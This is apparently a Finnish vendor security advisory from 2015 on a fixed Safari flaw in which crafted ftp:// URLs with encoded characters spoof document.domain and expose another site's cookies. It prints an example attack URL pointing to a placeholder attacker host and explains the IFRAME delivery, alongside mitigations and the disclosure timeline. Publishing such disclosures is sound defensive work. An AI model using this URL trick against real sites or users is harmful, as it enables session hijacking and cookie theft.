Pääsivu | Tiedotteet

Safari iOS/OS X/Windows: evästehaavoittuvuus

13.04.2015

Yleistä

Applen huhtikuun alun turvapäivityksiin sisältyi korjaus Safarin cross domain -haavoittuvuuteen. Sitä hyödyntävä hyökkääjä voi luoda verkkosisältöä, joka ohittaa normaalit cross domain -rajoitukset, ja päästä käsiksi muiden sivustojen evästeisiin.

Useimmat sivustot, joilla on kirjautumistoiminto, käyttävät evästeitä kirjautumistietojen (yleensä sessioavainten) tallentamiseen. Ulkopuolisen pääsy näihin tietoihin mahdollistaa autentikoitujen istuntojen kaappaamisen. Hyökkääjä pääsee siis sivustolle kohdekäyttäjän tunnuksin tietämättä salasanaa. Evästeet voivat sisältää myös muuta yksityistä tai yksilöivää tietoa.

Kaikki testatut Safarin versiot (iOS, OS X, Windows) olivat alttiita ongelmalle. Haavoittuvien laitteiden määrä liikkunee yhden miljardin suuruusluokassa.

Teknisesti ottaen hyökkääjä voi väärentää document.domain-arvon. On mahdollista, että tätä kautta voi päästä käsiksi muihinkin rajattuihin resursseihin kuin evästeisiin. Evästeet olivat kuitenkin ainoa käytännöllinen hyökkäysskenaario, joka testatuista Safarin versioista löytyi.

Evästeiden HttpOnly- ja Secure-määritteet rajaavat monessa tapauksessa ongelman vakavuutta.

Yksityiskohdat

Safari tukee FTP-url-protokollaa, joka sallii HTML-dokumenttien lataamisen URLeilla, jotka alkavat "ftp://". Nämä URLit voivat olla muotoa ftp://käyttäjä:salasana@palvelin/polku. Ongelma syntyy, kun URLin käyttäjä- tai salasanaosuudessa on koodattuja erikoismerkkejä.

Esimerkki-URL:

ftp://user%40ftp.attacker.tld%2Fexploit.html%23@apple.com/

Oikein tulkittuna URL viittaisi apple.com-palvelimella olevaan dokumenttiin. Haavoittuva selain käyttää kuitenkin verkkohakuun ylimääräisesti dekoodattua versiota:

ftp://user@ftp.attacker.tld/exploit.html#apple.com/

Dokumentti ladattaisiin palvelimelta ftp.attacker.tld, ei apple.com:ista. Dokumentin document.domain- ja document.cookie-ominaisuudet kuitenkin viittaisivat "oikean tulkinnan" mukaisesti apple.com:iin.

Hyökkääjän laatima exploit.html-dokumentti pääsee näin käsiksi apple.com:in evästeisiin JavaScriptin avulla.

Pääsy muihinkin resursseihin tätä kautta olisi teoriassa mahdollista, mutta ainakin uusimmissa Safarin työpöytäversioissa suurin osa pääsykontrollista (salasanojen automaatinen täyttö, geopaikannus, ym.) tapahtuu document.origin-ominaisuuden pohjalta, ei pelkästään palvelimen tai domainin.

Hyökkäys voidaan suorittaa normaalilla verkkosivulla upottamalla siihen IFRAME-elementti, joka osoittaa FTP-URLiin.

Lieventävät tekijät

Evästeiden lukeminen edellyttää JavaScriptiä, joten HttpOnly-lipulla varustetut olemassa olevat evästeet eivät näy hyökkääjälle. Tuki tälle lipulle on tullut Safarin versiossa 4. Aiemmat versiot lienevät haavoittuvia HttpOnly-määritteestä riippumatta.

Safarin tapauksessa HttpOnly-evästeitä voidaan muuttaa JavaScriptillä, vaikkei lukeminen onnistukaan. Tästä syystä haavoittuvuutta voi käyttää session fixation -hyökkäyksiin ja vastaaviin, vaikka HttpOnly-lippu olisi käytössä.

Evästeisiin, joissa on Secure-määrite, ei myöskään pääse käsiksi FTP-URLien kautta.

Haavoittuvat versiot

Seuraavat Safarin versiot ovat testauksen perusteella haavoittuvia:

Aiempia versioita ei saatu testattavaksi, mutta saatavilla olevien tilastojen perusteella niiden käyttö on vähäistä.

Korjaus

Ilmoitimme Applelle ongelmasta 27.01.2015. Seuraavat korjaukset julkaistiin huhtikuussa 2015:

Lisätietoja: support.apple.com/en-us/HT201222.

Tekijä

Ongelman havaitsi Klikki Oy:n Jouko Pynnönen.

Päivitys 14.04.2015: Haavoittuvuustesti

Katso myös: Adobe korjasi kaksi kriittistä Flash-bugia.